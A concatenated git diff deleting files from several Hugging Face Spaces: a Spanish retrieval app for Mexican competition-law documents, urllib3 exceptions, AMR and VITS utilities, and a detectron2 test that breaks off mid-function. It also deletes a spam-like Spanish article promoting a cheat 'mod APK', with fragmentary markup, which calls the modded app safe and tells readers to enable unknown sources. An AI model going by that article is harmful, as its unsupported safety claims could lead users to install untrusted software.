self.batch_size diff --git a/spaces/Benjov/Demo-IR/app.py b/spaces/Benjov/Demo-IR/app.py deleted file mode 100644 index 0012171d2bfe7b825cfea10fcd21005296b3b8fc..0000000000000000000000000000000000000000 --- a/spaces/Benjov/Demo-IR/app.py +++ /dev/null @@ -1,389 +0,0 @@ -#-------------------------------------------------------------------- -# DEPENDENCIAS -#-------------------------------------------------------------------- -import os -from io import StringIO -import requests -import gradio as gr -import pandas as pd -import numpy as np -import openai -import tiktoken -#import streamlit as st -from openai.embeddings_utils import get_embedding, cosine_similarity -#from langchain.document_loaders import PyPDFLoader -#from langchain.text_splitter import CharacterTextSplitter -#from PyPDF2 import PdfReader, PdfFileReader -from langchain.embeddings import OpenAIEmbeddings, HuggingFaceInstructEmbeddings -from langchain.vectorstores import FAISS -from langchain.chat_models import ChatOpenAI -from langchain.memory import ConversationBufferMemory -from langchain.chains import ConversationalRetrievalChain -from langchain.llms import OpenAI, HuggingFaceHub -from langchain.chains.question_answering import load_qa_chain -#from htmlTemplates import css, bot_template, user_template -import json -import ast -#from langchain.schema.vectorstore import Document -from langchain.schema import Document -#import fitz # PyMuPDF -#import pytesseract -#from PIL import Image -#from io import BytesIO -#import cv2 -import gspread -from oauth2client.service_account import ServiceAccountCredentials -from datetime import datetime - -#-------------------------------------------------------------------- -# LLAVES -#-------------------------------------------------------------------- -openai.api_key = os.getenv("OPENAI_API_KEY") -api_key = os.getenv("OPENAI_API_KEY") -token = os.getenv("token") -headers = { 'Authorization': f'token {token}', - 'Accept': 'application/vnd.github.v3.raw' } - -# Establece las credenciales y la API -credentials = os.getenv( "credentials" ) -credentials = json.loads( credentials ) -gc = gspread.service_account_from_dict( credentials ) -Google_URL = os.getenv( "Google_Sheet" ) - - -#-------------------------------------------------------------------- -# CARGAR CSV EMBEDDINGS -#-------------------------------------------------------------------- -# -url_tomos_conf_DPR = os.getenv("url_tomos_conf_DPR") -response_tomos_conf_DPR = requests.get( url_tomos_conf_DPR, headers = headers ) -csv_content_tomos_conf_DPR = response_tomos_conf_DPR.text -tomos_conf_DPR = pd.read_csv(StringIO( csv_content_tomos_conf_DPR )) - -# -url_tomos_conf_cita = os.getenv("url_tomos_conf_cita") -response_tomos_conf_cita = requests.get( url_tomos_conf_cita, headers = headers ) -csv_content_tomos_conf_cita = response_tomos_conf_cita.text -tomos_conf_cita = pd.read_csv(StringIO( csv_content_tomos_conf_cita )) - -# -url_df_tomos_1a28_01 = os.getenv("url_df_tomos_1a28_01") -response_df_tomos_1a28_01 = requests.get( url_df_tomos_1a28_01, headers = headers ) -csv_content_df_tomos_1a28_01 = response_df_tomos_1a28_01.text -df_tomos_1a28_01 = pd.read_csv(StringIO( csv_content_df_tomos_1a28_01 )) - -# -url_df_tomos_1a28_02 = os.getenv("url_df_tomos_1a28_02") -response_df_tomos_1a28_02 = requests.get( url_df_tomos_1a28_02, headers = headers ) -csv_content_df_tomos_1a28_02 = response_df_tomos_1a28_02.text -df_tomos_1a28_02 = pd.read_csv(StringIO( csv_content_df_tomos_1a28_02 )) - -# -url_df_tomos_1a28_03 = os.getenv("url_df_tomos_1a28_03") -response_df_tomos_1a28_03 = requests.get( url_df_tomos_1a28_03, headers = headers ) -csv_content_df_tomos_1a28_03 = response_df_tomos_1a28_03.text -df_tomos_1a28_03 = pd.read_csv(StringIO( csv_content_df_tomos_1a28_03 )) - -# -url_df_tomos_1a28_04 = os.getenv("url_df_tomos_1a28_04") -response_df_tomos_1a28_04 = requests.get( url_df_tomos_1a28_04, headers = headers ) -csv_content_df_tomos_1a28_04 = response_df_tomos_1a28_04.text -df_tomos_1a28_04 = pd.read_csv(StringIO( csv_content_df_tomos_1a28_04 )) - -# -url_df_tomos_1a28_05 = os.getenv("url_df_tomos_1a28_05") -response_df_tomos_1a28_05 = requests.get( url_df_tomos_1a28_05, headers = headers ) -csv_content_df_tomos_1a28_05 = response_df_tomos_1a28_05.text -df_tomos_1a28_05 = pd.read_csv(StringIO( csv_content_df_tomos_1a28_05 )) - -# -url_df_tomos_1a28_06 = os.getenv("url_df_tomos_1a28_06") -response_df_tomos_1a28_06 = requests.get( url_df_tomos_1a28_06, headers = headers ) -csv_content_df_tomos_1a28_06 = response_df_tomos_1a28_06.text -df_tomos_1a28_06 = pd.read_csv(StringIO( csv_content_df_tomos_1a28_06 )) - -# -url_df_tomos_1a28_07 = os.getenv("url_df_tomos_1a28_07") -response_df_tomos_1a28_07 = requests.get( url_df_tomos_1a28_07, headers = headers ) -csv_content_df_tomos_1a28_07 = response_df_tomos_1a28_07.text -df_tomos_1a28_07 = pd.read_csv(StringIO( csv_content_df_tomos_1a28_07 )) - -# -url_df_tomos_1a28_08 = os.getenv("url_df_tomos_1a28_08") -response_df_tomos_1a28_08 = requests.get( url_df_tomos_1a28_08, headers = headers ) -csv_content_df_tomos_1a28_08 = response_df_tomos_1a28_08.text -df_tomos_1a28_08 = pd.read_csv(StringIO( csv_content_df_tomos_1a28_08 )) - -# -url_df_tomos_1a28_09 = os.getenv("url_df_tomos_1a28_09") -response_df_tomos_1a28_09 = requests.get( url_df_tomos_1a28_09, headers = headers ) -csv_content_df_tomos_1a28_09 = response_df_tomos_1a28_09.text -df_tomos_1a28_09 = pd.read_csv(StringIO( csv_content_df_tomos_1a28_09 )) - -# -df_tomos_1a28 = pd.concat([df_tomos_1a28_01, df_tomos_1a28_02], ignore_index = True) -df_tomos_1a28 = pd.concat([df_tomos_1a28, df_tomos_1a28_03], ignore_index = True) -df_tomos_1a28 = pd.concat([df_tomos_1a28, df_tomos_1a28_04], ignore_index = True) -df_tomos_1a28 = pd.concat([df_tomos_1a28, df_tomos_1a28_05], ignore_index = True) -df_tomos_1a28 = pd.concat([df_tomos_1a28, df_tomos_1a28_06], ignore_index = True) -df_tomos_1a28 = pd.concat([df_tomos_1a28, df_tomos_1a28_07], ignore_index = True) -df_tomos_1a28 = pd.concat([df_tomos_1a28, df_tomos_1a28_08], ignore_index = True) -df_tomos_1a28 = pd.concat([df_tomos_1a28, df_tomos_1a28_09], ignore_index = True) - -# -url_tercer_req = os.getenv("url_tercer_req") -response_tercer_req = requests.get( url_tercer_req, headers = headers ) -csv_content_tercer_req = response_tercer_req.text -tercer_req = pd.read_csv(StringIO( csv_content_tercer_req )) - -# -url_seg_req = os.getenv("url_seg_req") -response_seg_req = requests.get( url_seg_req, headers = headers ) -csv_content_seg_req = response_seg_req.text -seg_req = pd.read_csv(StringIO( csv_content_seg_req )) - -# -url_primer_req = os.getenv("url_primer_req") -response_primer_req = requests.get( url_primer_req, headers = headers ) -csv_content_primer_req = response_primer_req.text -primer_req = pd.read_csv(StringIO( csv_content_primer_req )) - -# -url_primer1_req = os.getenv("url_primer1_req") -response_primer1_req = requests.get( url_primer1_req, headers = headers ) -csv_content_primer1_req = response_primer1_req.text -primer1_req = pd.read_csv(StringIO( csv_content_primer1_req )) -primer1_req["Folder"] = "I. PRIMER REQUERIMIENTO (139)/2. Desahogo Reiteracion 1 139" - -# -url_primer2_req = os.getenv("url_primer2_req") -response_primer2_req = requests.get( url_primer2_req, headers = headers ) -csv_content_primer2_req = response_primer2_req.text -primer2_req = pd.read_csv(StringIO( csv_content_primer2_req )) -primer2_req["Folder"] = "I. PRIMER REQUERIMIENTO (139)/1. Desahogo RFI 139" - -#--------------------------------------------------------------------------------------------------------------- -# UUUUPS LA COLUMNA EMBEDDINGS NO LA RECONOCE COSINESIMILARITY.. [tomos_conf_DPR, tomos_conf_cita] -#--------------------------------------------------------------------------------------------------------------- -def clean_and_parse_embedding(embedding_str): - # Extract the part between square brackets - embedding_str = embedding_str.split('[')[-1].split(']')[0] - # Now, you should have a clean string representation of the list - embedding_list = ast.literal_eval(embedding_str) - return [float(val) for val in embedding_list] - -tomos_conf_DPR['Embedding'] = tomos_conf_DPR['Embedding'].apply(clean_and_parse_embedding) -tomos_conf_cita['Embedding'] = tomos_conf_cita['Embedding'].apply(clean_and_parse_embedding) -tercer_req['Embedding'] = tercer_req['Embedding'].apply(clean_and_parse_embedding) -seg_req['Embedding'] = seg_req['Embedding'].apply(clean_and_parse_embedding) -primer_req['Embedding'] = primer_req['Embedding'].apply(clean_and_parse_embedding) -primer1_req['Embedding'] = primer1_req['Embedding'].apply(clean_and_parse_embedding) -primer2_req['Embedding'] = primer2_req['Embedding'].apply(clean_and_parse_embedding) - -#--------------------------------------------------------------------------------------------------------------- -# UUUUPS LA COLUMNA EMBEDDINGS NO LA RECONOCE COSINESIMILARITY.. [df_tomos_1a28] -#--------------------------------------------------------------------------------------------------------------- -def parse_embedding(embedding_str): - embedding_list = ast.literal_eval(embedding_str) - return [float(val) for val in embedding_list] - -df_tomos_1a28['Embedding'] = df_tomos_1a28['Embedding'].apply(parse_embedding) - -#--------------------------------------------------------------------------------------------------------------- -# LISTA DE DF -#--------------------------------------------------------------------------------------------------------------- -list_of_dfs = [tomos_conf_DPR, tomos_conf_cita, df_tomos_1a28, tercer_req, seg_req, primer_req, primer1_req, primer2_req] - -#-------------------------------------------------------------------- -# HACEMOS UNA PREGUNTA Y RANKEA CHUNKS -#-------------------------------------------------------------------- -def buscar(busqueda, lista_de_datos): - resultados = [] # Create an empty list to store individual DataFrame results - busqueda_embed = get_embedding(busqueda, engine="text-embedding-ada-002") - - for datos in lista_de_datos: - datos["similitud"] = datos['Embedding'].apply(lambda x: cosine_similarity(x, busqueda_embed)) - datos = datos.sort_values("similitud", ascending=False) - resultados.append(datos[['PDFName', 'PageNumber', 'similitud', "PageText", "Folder"]]) - - # Concatenate all individual DataFrames into a single DataFrame - combined_result = pd.concat(resultados).sort_values("similitud", ascending=False).head(20) - return combined_result - -#-------------------------------------------------------------------- -# rank for ai -#-------------------------------------------------------------------- -def buscar_ai(busqueda, lista_de_datos): - resultados = [] # Create an empty list to store individual DataFrame results - busqueda_embed = get_embedding(busqueda, engine="text-embedding-ada-002") - - for datos in lista_de_datos: - datos["similitud"] = datos['Embedding'].apply(lambda x: cosine_similarity(x, busqueda_embed)) - datos = datos.sort_values("similitud", ascending=False) - resultados.append(datos[['PDFName', 'PageNumber', 'similitud', "PageText", "Folder"]]) - - # Concatenate all individual DataFrames into a single DataFrame - combined_result = pd.concat(resultados).sort_values("similitud", ascending=False).head(10) - return combined_result - -#-------------------------------------------------------------------- -# saque n extraactos de "" -#-------------------------------------------------------------------- -def count_text_extracted(pregunta): - df = buscar(pregunta, list_of_dfs) - pdf_counts = df.groupby(['Folder', 'PDFName'])['PageNumber'].count().reset_index() - - output_string = "" - for idx, row in pdf_counts.iterrows(): - folder_name = row['Folder'] - pdf_name = row['PDFName'] - count = row['PageNumber'] - page_numbers = df[(df['PDFName'] == pdf_name) & (df['Folder'] == folder_name)]['PageNumber'].tolist() - page_numbers_str = ', '.join(map(str, page_numbers)) - output_string += f"Usé el archivo '{pdf_name}' del folder '{folder_name}' {count} (vez/veces) al extraer el texto de las páginas {page_numbers_str}.\n\n" - - return output_string - -#-------------------------------------------------------------------- -# file: texto -#-------------------------------------------------------------------- - -def print_pdf_info(pregunta): - df = buscar(pregunta, list_of_dfs) - - output_string = "" # Initialize an empty string to accumulate the output - - for _, row in df.iterrows(): - pdf_name = row['PDFName'] - page_number = row['PageNumber'] - page_text = row['PageText'] - - # Split page_text into lines and add a tab to each line - indented_page_text = '\n'.join(['\t' + line for line in page_text.split('\n')]) - - # Append the formatted output to the output string - output_string += f'De "{pdf_name}":\n \tPágina {page_number}:\n\t {indented_page_text}\n' - - return output_string - -#-------------------------------------------------------------------- -# vector -> document -#------------------------------------------------------------------- -def vector_document(dataframe): - string_vectors = dataframe["PageText"] - documents = [Document(page_content=content, metadata={'id': i}) for i, content in enumerate(string_vectors)] - return documents - -#-------------------------------------------------------------------- -# AI QUESTION -#------------------------------------------------------------------- -def info_pdf(pregunta): - df = buscar(pregunta, list_of_dfs) - - output_list = [] # Initialize an empty list to store the output - - for _, row in df.iterrows(): - pdf_name = row['PDFName'] - page_number = row['PageNumber'] - page_text = row['PageText'] - - # Split page_text into lines and add a tab to each line - indented_page_text = '\n'.join(['\t' + line for line in page_text.split('\n')]) - - # Append the formatted output to the output list - output_list.append(f'De "{pdf_name}": Página {page_number}: {indented_page_text}') - - return output_list - -def get_completion_from_messages( messages, model = "gpt-3.5-turbo-16k", - temperature = 0, max_tokens = 4500 ): ##Check max_tokens - response = openai.ChatCompletion.create( - model = model, - messages = messages, - temperature = temperature, - max_tokens = max_tokens, - ) - return response.choices[0].message["content"] - -def get_topic( user_message ): - # - delimiter = "####" - system_message = f""" - Eres un abogado que trabaja en temas de competencia económica e investiga casos en México. - Siempre intenarás responder en el mayor número posible de palabras. - Las consultas o preguntas se delimitarán con los caracteres {delimiter} - """ - # - messages = [ - {'role':'system', - 'content': system_message}, - {'role':'user', - 'content': f"{delimiter}{user_message}{delimiter}"}, - ] - return get_completion_from_messages( messages ) - -def get_respuesta( user_message, informacion): - # - delimiter = "####" - system_message = f""" - Eres un abogado que trabaja en temas de competencia económica e investiga casos en México. - Siempre intenarás responder en el mayor número posible de palabras. - Las consultas o preguntas se delimitarán con los caracteres {delimiter} - - """ - # - messages = [ - {'role':'system', - 'content': system_message}, - {'role':'user', - 'content': f""" - {delimiter} - Estás intentando recopilar información relevante para tu caso. - Usa exclusivamente la información contenida en la siguiente lista: - {informacion} - - para responder sin límite de palabras lo siguiente: {user_message} - Responde de forma detallada. - {delimiter} - """}, - ] - # - return get_completion_from_messages(messages) - -def update_records( user_message ): - # - sht = gc.open_by_url(Google_URL) - # - sht.worksheet("Hoja 2").get_all_records() - # - sht.worksheet("Hoja 2").update_cell( len( sht.worksheet("Hoja 2").get_all_records()[:] ) + 2 , - 1 , datetime.now().strftime("%m/%d/%Y, %H:%M:%S") ) - # - sht.worksheet("Hoja 2").update_cell( len( sht.worksheet("Hoja 2").get_all_records()[:] ) + 1 , - 2 , user_message ) - -def chat(user_message_1): - # - norma_y_tema_response_1 = get_topic(user_message_1) - norma_y_tema_response_1 += 'Todos' - uno = buscar_ai(user_message_1, list_of_dfs) - lista_info = uno['PageText'].tolist() - # - # Save Question and date time - update_records( user_message_1 ) - # - return get_respuesta(user_message_1, lista_info) - -# Modify your existing code -with gr.Blocks() as demo: - txt = gr.Textbox(label="Texto", lines=2) - btn = gr.Button(value="Listo") - txt_2 = gr.Textbox(value="", label="Donde (top 20):") - txt_3 = gr.Textbox(value="", label="Extractos (top 20):") - txt_1 = gr.Textbox(value="", label="Respuesta IA:") - btn.click(chat, inputs=[txt], outputs=[txt_1]) - btn.click(count_text_extracted, inputs=[txt], outputs=[txt_2]) - btn.click(print_pdf_info, inputs=[txt], outputs=[txt_3]) - -if __name__ == "__main__": - demo.launch(share=True) \ No newline at end of file diff --git a/spaces/Benson/text-generation/Examples/Alfabeto Huevo Granja Inactivo Magnate Mod Apk Dinero Ilimitado Y Gemas.md b/spaces/Benson/text-generation/Examples/Alfabeto Huevo Granja Inactivo Magnate Mod Apk Dinero Ilimitado Y Gemas.md deleted file mode 100644 index 363010f1fc1873a83f7f92fddecaa46d388fb476..0000000000000000000000000000000000000000 --- a/spaces/Benson/text-generation/Examples/Alfabeto Huevo Granja Inactivo Magnate Mod Apk Dinero Ilimitado Y Gemas.md +++ /dev/null @@ -1,62 +0,0 @@ - -
        - -
      - - - - - - - -

      Conclusión

      -

      Alphabet Egg Farm: Idle Tycoon es un juego divertido y adictivo que te permite crear tu propia granja de huevos y convertirte en un multimillonario. Usted puede incubar diferentes tipos de pollos, recoger los huevos, venderlos con fines de lucro, y mejorar su granja con varios edificios y decoraciones. También puedes desbloquear nuevas letras y palabras a medida que avanzas en el juego. Este juego es adecuado para todas las edades y tiene controles simples e intuitivos. Puedes jugar este juego sin conexión a Internet y disfrutar del relajante ambiente de la granja.

      -

      Si quieres hacer tu juego más emocionante y gratificante, puedes probar Alphabet Egg Farm: Idle Tycoon Mod APK Unlimited Money and Gems. Esta es una versión modificada del juego original que le da dinero ilimitado y gemas para gastar en su granja. Con este mod APK, puedes comprar cualquier cosa que quieras sin preocuparte por el costo. También puedes desbloquear todas las letras y palabras más rápido y más fácil. Usted puede disfrutar del juego sin ningún tipo de anuncios o limitaciones. Este mod APK hará que su juego más divertido y satisfactorio.

      - -

      Si usted está interesado en probar Alfabeto Egg Farm: Idle Tycoon Mod APK dinero ilimitado y gemas, se puede descargar desde el enlace de abajo. También puede visitar el sitio web oficial o la página del desarrollador en Google Play Store para obtener más información sobre el juego y el mod APK. También puedes ver algunos comentarios y videos sobre el juego y el mod APK en YouTube u otras plataformas.

      -

      Esperamos que haya disfrutado de este artículo y lo encontró útil. Si lo hizo, por favor compartirlo con sus amigos y familiares que también podrían gustar este juego y este mod APK. También, no dude en dejar un comentario a continuación y háganos saber lo que piensa acerca de Alphabet Egg Farm: Idle Tycoon Mod APK Unlimited Money and Gems. ¡Nos encantaría saber de ti!

      -

      Preguntas frecuentes

      -

      Aquí hay algunas preguntas frecuentes sobre Alfabeto Egg Farm: Idle Tycoon Mod APK Unlimited Money and Gems:

      -

      -
        -
      1. Es el alfabeto de la granja de huevos: Idle Tycoon Mod APK dinero ilimitado y gemas seguro de usar?
        2. -
      2. Sí, es seguro de usar siempre y cuando lo descargue de una fuente de confianza. Sin embargo, siempre debe tener cuidado al instalar aplicaciones modificadas en su dispositivo.
        3. -
      3. ¿Tengo que rootear mi dispositivo para usar Alfabeto Egg Farm: Idle Tycoon Mod APK Unlimited Money and Gems?
        4. -
      4. No, no es necesario rootear el dispositivo para usar este mod APK. Solo tiene que habilitar fuentes desconocidas en la configuración del dispositivo antes de instalarlo.
        5. -
      5. ¿Puedo jugar Alfabeto Egg Farm: Idle Tycoon Mod APK dinero ilimitado y gemas en línea con otros jugadores?
        6. -
      6. No, no puede jugar este mod APK en línea con otros jugadores. Este mod APK es solo para el modo sin conexión. Todavía se puede disfrutar del juego sin conexión a Internet.
        7. -
      7. ¿Cómo puedo actualizar Alfabeto Egg Farm: Idle Tycoon Mod APK Unlimited Money and Gems a la última versión?
        8. - -
      8. ¿Dónde puedo obtener más información sobre Alphabet Egg Farm: Idle Tycoon Mod APK Unlimited Money and Gems?
        9. -
      9. Usted puede obtener más información acerca de este mod APK visitando su sitio web oficial o la página de su desarrollador en Google Play Store. También puedes ver algunos comentarios y videos sobre este mod APK en YouTube u otras plataformas.
        10. -
      - - -

      64aa2da5cf
      -
      -
      \ No newline at end of file diff --git a/spaces/Big-Web/MMSD/env/Lib/site-packages/botocore/vendored/requests/packages/urllib3/exceptions.py b/spaces/Big-Web/MMSD/env/Lib/site-packages/botocore/vendored/requests/packages/urllib3/exceptions.py deleted file mode 100644 index 31bda1c07ed3d1335635ec856611bd1dde66b7af..0000000000000000000000000000000000000000 --- a/spaces/Big-Web/MMSD/env/Lib/site-packages/botocore/vendored/requests/packages/urllib3/exceptions.py +++ /dev/null @@ -1,169 +0,0 @@ - -## Base Exceptions - -class HTTPError(Exception): - "Base exception used by this module." - pass - -class HTTPWarning(Warning): - "Base warning used by this module." - pass - - - -class PoolError(HTTPError): - "Base exception for errors caused within a pool." - def __init__(self, pool, message): - self.pool = pool - HTTPError.__init__(self, "%s: %s" % (pool, message)) - - def __reduce__(self): - # For pickling purposes. - return self.__class__, (None, None) - - -class RequestError(PoolError): - "Base exception for PoolErrors that have associated URLs." - def __init__(self, pool, url, message): - self.url = url - PoolError.__init__(self, pool, message) - - def __reduce__(self): - # For pickling purposes. - return self.__class__, (None, self.url, None) - - -class SSLError(HTTPError): - "Raised when SSL certificate fails in an HTTPS connection." - pass - - -class ProxyError(HTTPError): - "Raised when the connection to a proxy fails." - pass - - -class DecodeError(HTTPError): - "Raised when automatic decoding based on Content-Type fails." - pass - - -class ProtocolError(HTTPError): - "Raised when something unexpected happens mid-request/response." - pass - - -#: Renamed to ProtocolError but aliased for backwards compatibility. -ConnectionError = ProtocolError - - -## Leaf Exceptions - -class MaxRetryError(RequestError): - """Raised when the maximum number of retries is exceeded. - - :param pool: The connection pool - :type pool: :class:`~urllib3.connectionpool.HTTPConnectionPool` - :param string url: The requested Url - :param exceptions.Exception reason: The underlying error - - """ - - def __init__(self, pool, url, reason=None): - self.reason = reason - - message = "Max retries exceeded with url: %s (Caused by %r)" % ( - url, reason) - - RequestError.__init__(self, pool, url, message) - - -class HostChangedError(RequestError): - "Raised when an existing pool gets a request for a foreign host." - - def __init__(self, pool, url, retries=3): - message = "Tried to open a foreign host with url: %s" % url - RequestError.__init__(self, pool, url, message) - self.retries = retries - - -class TimeoutStateError(HTTPError): - """ Raised when passing an invalid state to a timeout """ - pass - - -class TimeoutError(HTTPError): - """ Raised when a socket timeout error occurs. - - Catching this error will catch both :exc:`ReadTimeoutErrors - ` and :exc:`ConnectTimeoutErrors `. - """ - pass - - -class ReadTimeoutError(TimeoutError, RequestError): - "Raised when a socket timeout occurs while receiving data from a server" - pass - - -# This timeout error does not have a URL attached and needs to inherit from the -# base HTTPError -class ConnectTimeoutError(TimeoutError): - "Raised when a socket timeout occurs while connecting to a server" - pass - - -class EmptyPoolError(PoolError): - "Raised when a pool runs out of connections and no more are allowed." - pass - - -class ClosedPoolError(PoolError): - "Raised when a request enters a pool after the pool has been closed." - pass - - -class LocationValueError(ValueError, HTTPError): - "Raised when there is something wrong with a given URL input." - pass - - -class LocationParseError(LocationValueError): - "Raised when get_host or similar fails to parse the URL input." - - def __init__(self, location): - message = "Failed to parse: %s" % location - HTTPError.__init__(self, message) - - self.location = location - - -class ResponseError(HTTPError): - "Used as a container for an error reason supplied in a MaxRetryError." - GENERIC_ERROR = 'too many error responses' - SPECIFIC_ERROR = 'too many {status_code} error responses' - - -class SecurityWarning(HTTPWarning): - "Warned when perfoming security reducing actions" - pass - - -class InsecureRequestWarning(SecurityWarning): - "Warned when making an unverified HTTPS request." - pass - - -class SystemTimeWarning(SecurityWarning): - "Warned when system time is suspected to be wrong" - pass - - -class InsecurePlatformWarning(SecurityWarning): - "Warned when certain SSL configuration is not available on a platform." - pass - - -class ResponseNotChunked(ProtocolError, ValueError): - "Response needs to be chunked in order to read it as chunks." - pass diff --git a/spaces/BramVanroy/text-to-amr/utils.py b/spaces/BramVanroy/text-to-amr/utils.py deleted file mode 100644 index dd089b74dedcd825bd4286cc9bf4a5e27daf5944..0000000000000000000000000000000000000000 --- a/spaces/BramVanroy/text-to-amr/utils.py +++ /dev/null @@ -1,105 +0,0 @@ -from typing import Tuple, Union, Dict, List - -from multi_amr.data.postprocessing_graph import ParsedStatus -from multi_amr.data.tokenization import AMRTokenizerWrapper -from optimum.bettertransformer import BetterTransformer -import penman -import streamlit as st -import torch -from torch.quantization import quantize_dynamic -from torch import nn, qint8 -from transformers import MBartForConditionalGeneration, AutoConfig - - -@st.cache_resource(show_spinner=False) -def get_resources(multilingual: bool, src_lang: str, quantize: bool = True, no_cuda: bool = False) -> Tuple[MBartForConditionalGeneration, AMRTokenizerWrapper]: - """Get the relevant model, tokenizer and logits_processor. The loaded model depends on whether the multilingual - model is requested, or not. If not, an English-only model is loaded. The model can be optionally quantized - for better performance. - - :param multilingual: whether to load the multilingual model or not - :param src_lang: source language - :param quantize: whether to quantize the model with PyTorch's 'quantize_dynamic' - :param no_cuda: whether to disable CUDA, even if it is available - :return: the loaded model, and tokenizer wrapper - """ - model_name = "BramVanroy/mbart-large-cc25-ft-amr30-en_es_nl" - if not multilingual: - if src_lang == "English": - model_name = "BramVanroy/mbart-large-cc25-ft-amr30-en" - elif src_lang == "Spanish": - model_name = "BramVanroy/mbart-large-cc25-ft-amr30-es" - elif src_lang == "Dutch": - model_name = "BramVanroy/mbart-large-cc25-ft-amr30-nl" - else: - raise ValueError(f"Language {src_lang} not supported") - - # Tokenizer src_lang is reset during translation to the right language - tok_wrapper = AMRTokenizerWrapper.from_pretrained(model_name, src_lang="en_XX") - - config = AutoConfig.from_pretrained(model_name) - config.decoder_start_token_id = tok_wrapper.amr_token_id - - model = MBartForConditionalGeneration.from_pretrained(model_name, config=config) - model.eval() - - embedding_size = model.get_input_embeddings().weight.shape[0] - if len(tok_wrapper.tokenizer) > embedding_size: - model.resize_token_embeddings(len(tok_wrapper.tokenizer)) - - model = BetterTransformer.transform(model, keep_original_model=False) - - if torch.cuda.is_available() and not no_cuda: - model = model.to("cuda") - elif quantize: # Quantization not supported on CUDA - model = quantize_dynamic(model, {nn.Linear, nn.Dropout, nn.LayerNorm}, dtype=qint8) - - return model, tok_wrapper - - -def translate(texts: List[str], src_lang: str, model: MBartForConditionalGeneration, tok_wrapper: AMRTokenizerWrapper, **gen_kwargs) -> Dict[str, List[Union[penman.Graph, ParsedStatus]]]: - """Translates a given text of a given source language with a given model and tokenizer. The generation is guided by - potential keyword-arguments, which can include arguments such as max length, logits processors, etc. - - :param texts: source text to translate (potentially a batch) - :param src_lang: source language - :param model: MBART model - :param tok_wrapper: MBART tokenizer wrapper - :param gen_kwargs: potential keyword arguments for the generation process - :return: the translation (linearized AMR graph) - """ - if isinstance(texts, str): - texts = [texts] - - tok_wrapper.src_lang = LANGUAGES[src_lang] - encoded = tok_wrapper(texts, return_tensors="pt").to(model.device) - with torch.no_grad(): - generated = model.generate(**encoded, output_scores=True, return_dict_in_generate=True, **gen_kwargs) - - generated["sequences"] = generated["sequences"].cpu() - generated["sequences_scores"] = generated["sequences_scores"].cpu() - best_scoring_results = {"graph": [], "status": []} - beam_size = gen_kwargs["num_beams"] - - # Select the best item from the beam: the sequence with best status and highest score - for sample_idx in range(0, len(generated["sequences_scores"]), beam_size): - sequences = generated["sequences"][sample_idx: sample_idx + beam_size] - scores = generated["sequences_scores"][sample_idx: sample_idx + beam_size].tolist() - outputs = tok_wrapper.batch_decode_amr_ids(sequences) - statuses = outputs["status"] - graphs = outputs["graph"] - zipped = zip(statuses, scores, graphs) - # Lowest status first (OK=0, FIXED=1, BACKOFF=2), highest score second - best = sorted(zipped, key=lambda item: (item[0].value, -item[1]))[0] - best_scoring_results["graph"].append(best[2]) - best_scoring_results["status"].append(best[0]) - - # Returns dictionary with "graph" and "status" keys - return best_scoring_results - - -LANGUAGES = { - "English": "en_XX", - "Dutch": "nl_XX", - "Spanish": "es_XX", -} diff --git a/spaces/CForGETaass/vits-uma-genshin-honkai/text/symbols.py b/spaces/CForGETaass/vits-uma-genshin-honkai/text/symbols.py deleted file mode 100644 index edfbd24247be8c757275ce80b9ec27a0ffa808f3..0000000000000000000000000000000000000000 --- a/spaces/CForGETaass/vits-uma-genshin-honkai/text/symbols.py +++ /dev/null @@ -1,39 +0,0 @@ -''' -Defines the set of symbols used in text input to the model. -''' - -'''# japanese_cleaners -_pad = '_' -_punctuation = ',.!?-' -_letters = 'AEINOQUabdefghijkmnoprstuvwyzʃʧ↓↑ ' -''' - -'''# japanese_cleaners2 -_pad = '_' -_punctuation = ',.!?-~…' -_letters = 'AEINOQUabdefghijkmnoprstuvwyzʃʧʦ↓↑ ' -''' - -'''# korean_cleaners -_pad = '_' -_punctuation = ',.!?…~' -_letters = 'ㄱㄴㄷㄹㅁㅂㅅㅇㅈㅊㅋㅌㅍㅎㄲㄸㅃㅆㅉㅏㅓㅗㅜㅡㅣㅐㅔ ' -''' - -'''# chinese_cleaners -_pad = '_' -_punctuation = '，。！？—…' -_letters = 'ㄅㄆㄇㄈㄉㄊㄋㄌㄍㄎㄏㄐㄑㄒㄓㄔㄕㄖㄗㄘㄙㄚㄛㄜㄝㄞㄟㄠㄡㄢㄣㄤㄥㄦㄧㄨㄩˉˊˇˋ˙ ' -''' - -# zh_ja_mixture_cleaners -_pad = '_' -_punctuation = ',.!?-~…' -_letters = 'AEINOQUabdefghijklmnoprstuvwyzʃʧʦɯɹəɥ⁼ʰ`→↓↑ ' - - -# Export all symbols: -symbols = [_pad] + list(_punctuation) + list(_letters) - -# Special symbol ids -SPACE_ID = symbols.index(" ") \ No newline at end of file diff --git a/spaces/CVPR/Dual-Key_Backdoor_Attacks/datagen/detectron2/tests/test_roi_align.py b/spaces/CVPR/Dual-Key_Backdoor_Attacks/datagen/detectron2/tests/test_roi_align.py deleted file mode 100644 index 633d7c29c41b94b8a57c15aff728f23a71b535d1..0000000000000000000000000000000000000000 --- a/spaces/CVPR/Dual-Key_Backdoor_Attacks/datagen/detectron2/tests/test_roi_align.py +++ /dev/null @@ -1,152 +0,0 @@ -# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved -import numpy as np -import unittest -import cv2 -import torch -from fvcore.common.benchmark import benchmark - -from detectron2.layers.roi_align import ROIAlign - - -class ROIAlignTest(unittest.TestCase): - def test_forward_output(self): - input = np.arange(25).reshape(5, 5).astype("float32") - """ - 0 1 2 3 4 - 5 6 7 8 9 - 10 11 12 13 14 - 15 16 17 18 19 - 20 21 22 23 24 - """ - - output = self._simple_roialign(input, [1, 1, 3, 3], (4, 4), aligned=False) - output_correct = self._simple_roialign(input, [1, 1, 3, 3], (4, 4), aligned=True) - - # without correction: - old_results = [ - [7.5, 8, 8.5, 9], - [10, 10.5, 11, 11.5], - [12.5, 13, 13.5, 14], - [15, 15.5, 16, 16.5], - ] - - # with 0.5 correction: - correct_results = [ - [4.5, 5.0, 5.5, 6.0], - [7.0, 7.5, 8.0, 8.5], - [9.5, 10.0, 10.5, 11.0], - [12.0, 12.5, 13.0, 13.5], - ] - # This is an upsampled version of [[6, 7], [11, 12]] - - self.assertTrue(np.allclose(output.flatten(), np.asarray(old_results).flatten())) - self.assertTrue( - np.allclose(output_correct.flatten(), np.asarray(correct_results).flatten()) - ) - - # Also see similar issues in tensorflow at - # https://github.com/tensorflow/tensorflow/issues/26278 - - def test_resize(self): - H, W = 30, 30 - input = np.random.rand(H, W).astype("float32") * 100 - box = [10, 10, 20, 20] - output = self._simple_roialign(input, box, (5, 5), aligned=True) - - 